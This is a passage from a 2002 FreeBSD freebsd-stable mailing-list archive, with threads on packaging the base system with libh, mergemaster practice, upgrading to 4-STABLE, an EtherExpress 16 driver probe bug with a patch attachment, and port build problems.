<15558.12150.814150.317904@guru.mired.org> <20020424050711.GC973@lenny.anarcat.dyndns.org> <15558.16369.602750.415167@guru.mired.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SUOF0GtieIMvvwua" Content-Disposition: inline In-Reply-To: <15558.16369.602750.415167@guru.mired.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --SUOF0GtieIMvvwua Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed Apr 24, 2002 at 12:17:37AM -0500, Mike Meyer wrote: > In <20020424050711.GC973@lenny.anarcat.dyndns.org>, The Anarcat typed: > > On Tue Apr 23, 2002 at 11:07:18PM -0500, Mike Meyer wrote: > > > In <20020424030937.GC323@lenny.anarcat.dyndns.org>, The Anarcat typed: > > > > The main issues I see about packaging the base system is [1] how pl= ists > > > > are to be handled and [2] how configurations files are to be handle= d. > > > You missed the biggie: [3] how the base system install is handled. > > The same way the rest of the system is. [3] =3D [1] + [2] >=20 > No, it isn't. Ports don't have the requirement to fit on a single > floppy. The more we move towards packaging the whole system, the more this distinction will be blurred, hence [3] =3D [1] + [2]. > > Also, I don't think it would be very complex to cat many files into a > > single one on the filesystem prior to installing a package. Very > > simple, I think. >=20 > That one's not the problem. The problem is catting together many > *floppies* to get a package prior to actually installing it. That's > not quite so simple. I could see a simple shell script deal with that. I think it is quite simple. =20 > > But guess what: libh won't get through if it's not a drop-in > > replacement for sysinstall. >=20 > What makes you say that? FUD. Documentation is written for sysinstall and everyone's used to it. > > In other words, libh doesn't know about the ports collection or > > /usr/src yet, and I don't think it's going to change soon. >=20 > Yes, but it will change eventually.=20 I hope not. I prefer keeping the package management system seperate from the source management system. > And yes, it's going to require rewriting the package format to deal > with the issues needed for working on the base system. I don't think you have proved that point. > Hopefully, it will also be compatible with the openpackages project. Hopefully. A. --=20 =46rom the age of uniformity, from the age of solitude, from the age of Big Brother, from the age of doublethink - greetings! --SUOF0GtieIMvvwua Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjzGojIACgkQttcWHAnWiGeAdQCfbt+9vX+ElnUy/afT43IUfaC0 Id4An1NzutdNPlGGaXkAEcLmc1KiSMSj =uhHc -----END PGP SIGNATURE----- --SUOF0GtieIMvvwua-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 6: 6:40 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) by hub.freebsd.org (Postfix) with ESMTP id 6157737B420; Wed, 24 Apr 2002 06:06:19 -0700 (PDT) Received: from bmah.dyndns.org ([12.233.149.189]) by rwcrmhc51.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020424130454.IINI7777.rwcrmhc51.attbi.com@bmah.dyndns.org>; Wed, 24 Apr 2002 13:04:54 +0000 Received: from intruder.bmah.org (localhost [127.0.0.1]) by bmah.dyndns.org (8.12.3/8.12.3) with ESMTP id g3OD4scB062650; Wed, 24 Apr 2002 06:04:54 -0700 (PDT) (envelope-from bmah@intruder.bmah.org) Received: (from bmah@localhost) by intruder.bmah.org (8.12.3/8.12.3/Submit) id g3OD4slv062649; Wed, 24 Apr 2002 06:04:54 -0700 (PDT) Message-Id: <200204241304.g3OD4slv062649@intruder.bmah.org> X-Mailer: exmh version 2.5+ 20020416 with nmh-1.0.4 To: "Karsten W. Rohrbach" Cc: Doug Barton , JJ Behrens , freebsd-stable@FreeBSD.ORG Subject: Re: *** HEAD'S UP *** In-reply-to: <20020424125400.F87244@mail.webmonster.de> References: <20020422114407.B21612@alicia.nttmcl.com> <20020423215717.S66402-100000@master.gorean.org> <20020424125400.F87244@mail.webmonster.de> Comments: In-reply-to "Karsten W. Rohrbach" message dated "Wed, 24 Apr 2002 12:54:00 +0200." From: "Bruce A. Mah" Reply-To: bmah@FreeBSD.ORG X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ X-Image-Url: http://www.employees.org/~bmah/Images/bmah-cisco-small.gif X-Url: http://www.employees.org/~bmah/ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 24 Apr 2002 06:04:54 -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If memory serves me right, "Karsten W. Rohrbach" wrote: > How about a Changelog? NOTES (HEAD) and UPDATING in /usr/src are one > way, but a semi-automatic way of making changes transparent to the > administrator would be a good start, i think. How is this different from the release notes? src/release/doc/* http://people.freebsd.org/~bmah/relnotes/ > - most important, a list of _resolved_ SAs that are in the current dist. > in fact, i recognize this as a major point, judging from several > threads on -hackers and -security of the last weeks. finding out what > "patch level" you are on an arbitrary box would be "more > /etc/Changelog" and there you go. mergemaster would display the diff > between old and new version right when it starts, so the admin > instantly gets an overview of what major things have changed This information is in UPDATING. I suppose one could make a credible argument that it should be in the release notes for the security branches (e.g. RELENG_4_5), but that's not the way we do things currently. Bruce. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 8:16:55 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id 3771337B420 for ; Wed, 24 Apr 2002 08:16:39 -0700 (PDT) Received: (qmail 55251 invoked by uid 100); 24 Apr 2002 14:55:59 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.51070.489381.32277@guru.mired.org> Date: Wed, 24 Apr 2002 09:55:58 -0500 To: Doug Barton Cc: "Philip J. Koenig" , stable@FreeBSD.org Subject: Re: mergemaster theory (was: Re: /etc/defaults/rc.conf theory) In-Reply-To: <20020423222117.U66402-100000@master.gorean.org> References: <20020423103747777.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> <20020423222117.U66402-100000@master.gorean.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <20020423222117.U66402-100000@master.gorean.org>, Doug Barton typed: > On Tue, 23 Apr 2002, Philip J. Koenig wrote: > > Yes, but the problem I usually have is twofold: I usually run > > mergemaster in single-user mode, > You don't have to do that. Nothing you install in /etc (except > hosts.allow) affects a running system.... I usually mergemaster in X. :) While I agree that you dno't have to do that, there are *other* things you have to worry about. Like /etc/resolv.conf and /etc/mail/mailer.conf. Like /etc/hosts.allow, these are things that if you've changed, you need to make sure the changes propagate to the new version. I also run mergemaster single-user. It's not because I'm worried about changes, it's because I just installed the world in single-user mode, and want to make sure that the new configuration stuff is in place and working properly for that world. The only way to do the latter is to reboot, so I do the mergemaster in single-user mode as well. > > and as such if I run into some kind of difficulty (not sure whether to > > install/merge/delete) and want to do something like take a detailed look > > at or backup a file first, I can't switch to another console to look > > at/change things. > Well, the default option is to do nothing, which will leave the > file for you to look at later. It may cost you more rebooting, but at > least you can deal with it at your convenience. Personally, I just Control-Z out of mergemaster for most such things. Every so often I do leave it and run mergemaster again. That doesn't require another reboot - I just do it immediately. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 8:18: 4 2002 Delivered-To: freebsd-stable@freebsd.org Received: from usmh11.usmd.edu (usmh11.usmd.edu [131.118.1.27]) by hub.freebsd.org (Postfix) with ESMTP id 160E337B404 for ; Wed, 24 Apr 2002 08:17:55 -0700 (PDT) Received: from usmd.edu (nmalmberg.usmh.usmd.edu [131.118.2.100]) by usmh11.usmd.edu (8.8.8/8.8.8) with ESMTP id LAA20852; Wed, 24 Apr 2002 11:16:44 -0400 (EDT) Message-ID: <3CC6CC5D.A7DA7A9B@usmd.edu> Date: Wed, 24 Apr 2002 11:16:45 -0400 From: Norwin Malmberg X-Mailer: Mozilla 4.78 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Charlie Watts Cc: stable@FreeBSD.ORG Subject: Re: 3.3-RELEASE -> 4-STABLE References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Charlie Watts wrote: > > I have a machine I want to upgrade from 3.3-RELEASE to 4-STABLE. > UPDATING seems to indicate I can jump all the way to 4-STABLE, but I > know folks have recommended a center step. [...] > How about if I have another -STABLE box that I can do the installworld > from. Can I jump straight to -STABLE in that case? I did it this way on a couple of machines, by NFS mounting /usr/src and /usr/obj off the build machine. I already had perl installed on the 3.3-RELEASE machine, and was able to do it without the -DNOPERL. I did find that I needed to manually install "zic" beforehand, as installworld uses an option that the old "zic" does not have. Norwin Malmberg Technical Support University System of Maryland malmberg@usmd.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 8:30:49 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail1.qc.uunet.ca (mail1.qc.uunet.ca [198.168.54.16]) by hub.freebsd.org (Postfix) with ESMTP id 1282037B41C; Wed, 24 Apr 2002 08:30:01 -0700 (PDT) Received: from Xtanbul ([216.94.147.34]) by mail1.qc.uunet.ca (8.10.2/8.10.2) with ESMTP id g3OFT9j07513; Wed, 24 Apr 2002 11:29:10 -0400 Date: Wed, 24 Apr 2002 11:21:29 -0400 Mime-Version: 1.0 (Apple Message framework v481) Cc: The Anarcat , freebsd-libh@FreeBSD.org Message-Id: In-Reply-To: <15558.52046.142372.646281@guru.mired.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Subject: Re: packaging base From: Antoine Beaupre Content-Transfer-Encoding: quoted-printable To: hackers@FreeBSD.org X-Mailer: Apple Mail (2.481) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Le Mercredi 24 avril 2002, =E0 11:12 , Mike Meyer a =E9crit : > [Replies have been pointed to -hackers to get this off of -stable.] [taken to libh] > In <20020424121651.GA317@lenny.anarcat.dyndns.org>, The Anarcat=20 > typed: >> On Wed Apr 24, 2002 at 12:17:37AM -0500, Mike Meyer wrote: >>> In <20020424050711.GC973@lenny.anarcat.dyndns.org>, The Anarcat=20 >>> typed: >>> That one's not the problem. The problem is catting together many >>> *floppies* to get a package prior to actually installing it. That's >>> not quite so simple. >> I could see a simple shell script deal with that. I think it is quite >> simple. > > Your simple shell script has to prompt for floppies. That needs UI > code. The people who know have decided that the current UI code isn't > up to snuff. Hence libh. Come on.. The current package system and sysinstall are quite good at=20 prompting for a simple yes/no question. The issue is really not there, I=20= think. Libh is developping a UI, fine. But we need to develop a way to package=20= base efficiently. >>>> But guess what: libh won't get through if it's not a drop-in >>>> replacement for sysinstall. >>> What makes you say that? >> FUD. Documentation is written for sysinstall and everyone's used to >> it. > > Considering that the installation process is the one that generates > the most complaints/suggestions/etc., changing it is certainly a > must. Yes, we'll need new documentation. I believe there are plans to > have them both available for a while. But making it a drop-in would > defeat one of the reasons for rewriting it. I originally agreed with you, but I met some resistance in trying to=20 convince people so. >>>> In other words, libh doesn't know about the ports collection or >>>> /usr/src yet, and I don't think it's going to change soon. >>> Yes, but it will change eventually. >> I hope not. I prefer keeping the package management system seperate >> from the source management system. > > Wait - source management? What does libh or sysinstall have to do with > source management, beyond installing the source in the first > place. Ideally, you want that to be just another package. Well, that's what I'm saying: libh or sysinstall shouldn't have anything=20= to do with source management. :) I'm concerned with getting base packaged. It shouldn't be too hard to=20 package base in either libh or classic pkgtools once the framework is in=20= place. I'm concerned that since libh doesn't currently aim at handling the=20 current bin.xx brute-force system, it will need base to be packaged in=20= order to install a running system. And libh will meet resistance not only from being a brand new system,=20 but also at trying to package base, which will break havoc among=20 developpers. That's why I think the libh vs sysinstall and bin.xx vs base.tgz issues=20= must be separated. >>> And yes, it's going to require rewriting the package format to deal >>> with the issues needed for working on the base system. >> I don't think you have proved that point. > > You're right, I haven't. I've been resorting to argument by authority, > which isn't proof. However, I tend to believe the original author of a > software when he says that something needs to be done a specific way > to change that system. If you want to argue with the author, jkh's > address is well-known. I am not sure jkh would say that libh was written to repackage the base=20= system. It seemed kind of implicit in the design documents, wasn't it? A. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 8:35:14 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id A610F37B501 for ; Wed, 24 Apr 2002 08:32:55 -0700 (PDT) Received: (qmail 55466 invoked by uid 100); 24 Apr 2002 15:12:15 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.52046.142372.646281@guru.mired.org> Date: Wed, 24 Apr 2002 10:12:14 -0500 To: The Anarcat Cc: freebsd-stable@freebsd.org, hackers@freebsd.org Reply-To: hackers@freebsd.org Subject: Re: packaging base In-Reply-To: <20020424121651.GA317@lenny.anarcat.dyndns.org> References: <20020424030937.GC323@lenny.anarcat.dyndns.org> <15558.12150.814150.317904@guru.mired.org> <20020424050711.GC973@lenny.anarcat.dyndns.org> <15558.16369.602750.415167@guru.mired.org> <20020424121651.GA317@lenny.anarcat.dyndns.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [Replies have been pointed to -hackers to get this off of -stable.] In <20020424121651.GA317@lenny.anarcat.dyndns.org>, The Anarcat typed: > On Wed Apr 24, 2002 at 12:17:37AM -0500, Mike Meyer wrote: > > In <20020424050711.GC973@lenny.anarcat.dyndns.org>, The Anarcat typed: > > > On Tue Apr 23, 2002 at 11:07:18PM -0500, Mike Meyer wrote: > > > > In <20020424030937.GC323@lenny.anarcat.dyndns.org>, The Anarcat typed: > > > > > The main issues I see about packaging the base system is [1] how plists > > > > > are to be handled and [2] how configurations files are to be handled. > > > > You missed the biggie: [3] how the base system install is handled. > > > The same way the rest of the system is. [3] = [1] + [2] > > No, it isn't. Ports don't have the requirement to fit on a single > > floppy. > The more we move towards packaging the whole system, the more this > distinction will be blurred, hence [3] = [1] + [2]. Ok, so the biggie is [3] - the ports system needs to handle ports broken up into floppies. > > That one's not the problem. The problem is catting together many > > *floppies* to get a package prior to actually installing it. That's > > not quite so simple. > I could see a simple shell script deal with that. I think it is quite > simple. Your simple shell script has to prompt for floppies. That needs UI code. The people who know have decided that the current UI code isn't up to snuff. Hence libh. > > > But guess what: libh won't get through if it's not a drop-in > > > replacement for sysinstall. > > What makes you say that? > FUD. Documentation is written for sysinstall and everyone's used to > it. Considering that the installation process is the one that generates the most complaints/suggestions/etc., changing it is certainly a must. Yes, we'll need new documentation. I believe there are plans to have them both available for a while. But making it a drop-in would defeat one of the reasons for rewriting it. > > > In other words, libh doesn't know about the ports collection or > > > /usr/src yet, and I don't think it's going to change soon. > > Yes, but it will change eventually. > I hope not. I prefer keeping the package management system seperate > from the source management system. Wait - source management? What does libh or sysinstall have to do with source management, beyond installing the source in the first place. Ideally, you want that to be just another package. > > And yes, it's going to require rewriting the package format to deal > > with the issues needed for working on the base system. > I don't think you have proved that point. You're right, I haven't. I've been resorting to argument by authority, which isn't proof. However, I tend to believe the original author of a software when he says that something needs to be done a specific way to change that system. If you want to argue with the author, jkh's address is well-known. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 9:45:34 2002 Delivered-To: freebsd-stable@freebsd.org Received: from pcp01379065pcs.selrsv01.pa.comcast.net (pcp01379065pcs.selrsv01.pa.comcast.net [68.81.163.54]) by hub.freebsd.org (Postfix) with ESMTP id F284D37B416 for ; Wed, 24 Apr 2002 09:45:28 -0700 (PDT) Received: from hellerk.mac.com (gold.ghoulland.com [192.168.1.9]) by darktower.ghoulland.com (8.11.6/8.11.6) with ESMTP id g3OGa9114957 for ; Wed, 24 Apr 2002 12:36:09 -0400 (EDT) (envelope-from kheller2@mac.com) Message-Id: <5.1.0.14.2.20020422121910.03571c18@pop1.ins.com> X-Sender: kheller2@mail.mac.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 24 Apr 2002 12:39:52 -0400 To: freebsd-stable@freebsd.org From: Karl Heller Subject: EtherExpress 16 not probed at boot on 4.5R Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_431051689==_.ALT" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --=====================_431051689==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hello, I posted a bug report about this but haven't heard anything back. I'll post here instead. =) http://www.freebsd.org/cgi/query-pr.cgi?pr=37240 I have a Intel EtherExpress 16 that will not probe on boot, or with a custom kernel. However, under 3.4R it does find it. I'm just switching boot floppies and notice this. I've since installed 4.5R using CDRom, however, I'd like to get it working. Any thoughts or anyone want to help debug this one. There was a previous bug report for another version with similar problems but the issue was dropped. Please respond via email as I'm having some problems getting on the stable email list. Karl --=====================_431051689==_.ALT Content-Type: text/html; charset="us-ascii"
 Hello,

 I posted a bug report about this but haven't heard anything back.  I'll post here instead. =)

http://www.freebsd.org/cgi/query-pr.cgi?pr=37240

 I have a Intel EtherExpress 16 that will not probe on boot, or with a custom kernel.  However, under 3.4R it does find it.  I'm just switching boot floppies and notice this.  I've since installed 4.5R using CDRom, however, I'd like to get it working.  Any thoughts or anyone want to help debug this one.  There was a previous bug report for another version with similar problems but the issue was dropped.

Please respond via email as I'm having some problems getting on the stable email list.

Karl

 --=====================_431051689==_.ALT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 10:19: 8 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp3.wanadoo.nl (smtp3.wanadoo.nl [194.134.35.186]) by hub.freebsd.org (Postfix) with ESMTP id 672F637B41E; Wed, 24 Apr 2002 10:19:02 -0700 (PDT) Received: from ams-gw.sohara.org (i0996.vwr.wanadoo.nl [194.134.211.232]) by smtp3.wanadoo.nl (8.11.3/8.11.3) with SMTP id g3OHIuv08751; Wed, 24 Apr 2002 19:18:57 +0200 (MEST) Date: Wed, 24 Apr 2002 19:18:49 +0200 From: "Steve O'Hara-Smith" To: Terry Lambert Cc: scrappy@hub.org, freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-Id: <20020424191849.3a81b126.steve@sohara.org> In-Reply-To: <3CC40A62.B40E816F@mindspring.com> References: <20020422091602.O1721-100000@mail1.hub.org> <3CC40A62.B40E816F@mindspring.com> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) X-Face: %]+HVL}K`P8>+8ZcY-WGHP6j@&mxMo9JH6_WdgIgUGH)JX/usO0%jy7T~IVgqjumD^OBqX,Kv^-GM6mlw(fI^$"QRKyZ$?xx/ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002 06:04:34 -0700 Terry Lambert wrote: TL> FreeBSD doesn't currently support bank selection. Peter was TL> working on it, last time I heard. Linux supports it, at an TL> incredible performance penalty. This inspired an off the wall thought that may be insane. Would it be possible (on a >4Gb system) to address 4Gb of RAM and write a driver to make the rest appear as a device, which could then be used for a preferred or (even neater) first level swap. -- C:>WIN | Directable Mirrors The computer obeys and wins. |A Better Way To Focus The Sun You lose and Bill collects. | licenses available - see: | http://www.sohara.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 10:30:23 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp2.wanadoo.nl (smtp2.wanadoo.nl [194.134.35.138]) by hub.freebsd.org (Postfix) with ESMTP id 8863837B41E for ; Wed, 24 Apr 2002 10:30:17 -0700 (PDT) Received: from ams-gw.sohara.org (rot2-p2539.dial.wanadoo.nl [194.134.139.235]) by smtp2.wanadoo.nl (8.11.3/8.11.3) with SMTP id g3OHU6J09086; Wed, 24 Apr 2002 19:30:07 +0200 (MEST) Date: Wed, 24 Apr 2002 19:30:03 +0200 From: "Steve O'Hara-Smith" To: Richard Arends Cc: freebsd-stable@FreeBSD.ORG Subject: Re: build problem Message-Id: <20020424193003.42bf703f.steve@sohara.org> In-Reply-To: References: <200204230738.g3N7crg6077601@x4.tucheng.generalresources.com> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) X-Face: %]+HVL}K`P8>+8ZcY-WGHP6j@&mxMo9JH6_WdgIgUGH)JX/usO0%jy7T~IVgqjumD^OBqX,Kv^-GM6mlw(fI^$"QRKyZ$?xx/ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002 11:27:17 +0200 (CEST) Richard Arends wrote: RA> Hello, RA> RA> Makeworld stops with the following error. Does somebody know what this RA> means and how to solve it??? Remove /usr/obj and try the buildworld(1) again. If this doesn't work then update sources again, you may have caught a partial commit. As a last resort remove /usr/obj and /usr/src completely and start with fresh up to date (or release) sources. (1) I assume that's what you were doing. -- C:>WIN | Directable Mirrors The computer obeys and wins. |A Better Way To Focus The Sun You lose and Bill collects. | licenses available - see: | http://www.sohara.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 10:56: 8 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tao.thought.org (sense-kline-249.oz.net [216.39.168.249]) by hub.freebsd.org (Postfix) with ESMTP id A428E37B416 for ; Wed, 24 Apr 2002 10:56:03 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.11.3/8.11.3) id g3OHtou53623; Wed, 24 Apr 2002 10:55:50 -0700 (PDT) (envelope-from kline) Date: Wed, 24 Apr 2002 10:55:50 -0700 From: Gary Kline To: Joe Marcus Clarke Cc: Gary Kline , "Brandon S. Allbery KF8NH" , freebsd-stable@FreeBSD.ORG Subject: Re: re Galeon Message-ID: <20020424105549.A52281@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> <20020423170906.A51380@tao.thought.org> <1019608249.320.117.camel@gyros.marcuscom.com> <20020423200453.E51380@tao.thought.org> <1019620309.310.13.camel@gyros.marcuscom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1019620309.310.13.camel@gyros.marcuscom.com>; from marcus@marcuscom.com on Wed, Apr 24, 2002 at 12:51:49AM -0300 X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 15 years of service to the Unix community Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 12:51:49AM -0300, Joe Marcus Clarke wrote: > On Wed, 2002-04-24 at 00:04, Gary Kline wrote: > > > > > > > > This ought to save me grief++, thanks. > > > > > > > > > > > > I tried to update `gnomecanvas' and it died not finding libintl.a > > > > (at least that was what I saw as the built flew past). > > > > > > For gnomecanvas to work, you need to have gdk-pixbuf installed, and the > > > two need to be in sync. Currently, the latest release of both is > > > 0.17.0. First upgrade gdk-pixbuf, then gnomecanvas. > > > > > > libintl is part of gettext. You should have both gettext-0.11.0_1 and > > > 0.10.35_2 installed. > > > > > > > In /var/db/pkg I see I've got 3 gettext's. 0.10.40 may be messng > > things up. Let's see... Nope; I was missing 0.10.35_2 > > > > lpe builds; now gnomecanvas just finished; mozilla is still > > building. > > > > I should've asked you, or this list , much earlier. > > That's what we're here for. If you run into more GNOME-related > problems, send them to freebsd-gnome@freebsd.org. > Actually, I probably will sub to the -gnome list eventually. I want to try gnome, kde, and windowmaker on different accounts andor diff platforms on my LAN. gary > -- Gary Kline kline@thought.org www.thought.org Public service Unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 12:36:11 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id D3F8637B419 for ; Wed, 24 Apr 2002 12:36:01 -0700 (PDT) Received: from max ([12.254.136.195]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020424193413.YSGN91.rwcrmhc52.attbi.com@max>; Wed, 24 Apr 2002 19:34:13 +0000 Message-ID: <02be01c1ebc7$07fee890$0900a8c0@max> From: "John Nielsen" To: , "Karl Heller" References: <5.1.0.14.2.20020422121910.03571c18@pop1.ins.com> Subject: Re: EtherExpress 16 not probed at boot on 4.5R Date: Wed, 24 Apr 2002 13:34:20 -0600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_02BB_01C1EB94.BD02A980" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_02BB_01C1EB94.BD02A980 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: "Karl Heller" To: Sent: Wednesday, April 24, 2002 10:39 AM Subject: EtherExpress 16 not probed at boot on 4.5R > Hello, > > I posted a bug report about this but haven't heard anything back. I'll > post here instead. =) > > http://www.freebsd.org/cgi/query-pr.cgi?pr=37240 > > I have a Intel EtherExpress 16 that will not probe on boot, or with a > custom kernel. However, under 3.4R it does find it. I'm just switching > boot floppies and notice this. I've since installed 4.5R using CDRom, > however, I'd like to get it working. Any thoughts or anyone want to help > debug this one. There was a previous bug report for another version with > similar problems but the issue was dropped. > > Please respond via email as I'm having some problems getting on the stable > email list. There was a thread about this a while ago on the newsgroup (the subject was "Ether16 NIC" if you want to look it up on google). Martin Birgmeier posted a patch which I successfully applied to a -stable machine and got my card working. I'm attaching a copy of Martin's patch so you can use it. To the list: PR kern/16937 is marked as closed even though this is an issue with -stable. There may be other PR's on this issue as well, but I don't know if any of them have patches included. If one of you wants to submit/test/commit this I think that would be great. JN ------=_NextPart_000_02BB_01C1EB94.BD02A980 Content-Type: application/octet-stream; name="if_ie.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="if_ie.patch" *** sys/dev/ie/if_ie.c.ORIG Fri Jul 21 20:34:23 2000=0A= --- sys/dev/ie/if_ie.c Sat Sep 9 